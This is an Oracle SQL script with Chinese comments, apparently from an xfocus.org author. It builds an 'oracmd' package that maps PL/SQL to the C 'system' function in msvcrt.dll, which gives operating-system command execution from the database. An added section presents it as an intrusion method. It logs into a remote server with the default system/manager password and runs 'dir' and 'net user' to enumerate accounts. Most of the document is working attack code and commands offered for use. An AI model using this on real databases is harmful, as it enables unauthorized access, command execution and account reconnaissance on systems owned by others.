-- ----------------------------------------------------------------------------
-- SQL server下可以通过cmd_shell调用系统命令,其实Oracle下也可以。
--这个SQL就是建立一个类似于sql Server下cmd_shell的过程。
-- ----------------------------------------------------------------------------
--                            windows下的cmd_shell                
--            在win2k下的oracle817测试成功                      
--                           benjurry@xfocus.org                            
--     使用方法:
--1、以dba 权限用sqlplus登陆oracle,
--2、假设这个文件放在d:\win_oracmd.sql,则在SQLplus中输入:@d:\win_oracmd.sql 
--3、在sqlplus下输入 exec oracmd.exec ('dir > c:\dir.txt');                                                                   
-- ----------------------------------------------------------------------------
CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll'; 
/
show errors 
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd; 
/
show errors 
CREATE OR REPLACE PACKAGE BODY oracmd IS 
PROCEDURE exec(cmdstring IN CHAR) 
IS EXTERNAL 
NAME "system" 
LIBRARY exec_shell 
LANGUAGE C;
end oracmd;
/
show errors

补充:

利用弱口令进行入侵:
C:\>sqlplus /nolog
SQL> connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));


SQL> exec oracmd.exec ('dir >c:\dir.txt');
PL/SQL 过程已成功完成。
SQL> exec oracmd.exec ('net user >d:\cmd.txt');
PL/SQL 过程已成功完成。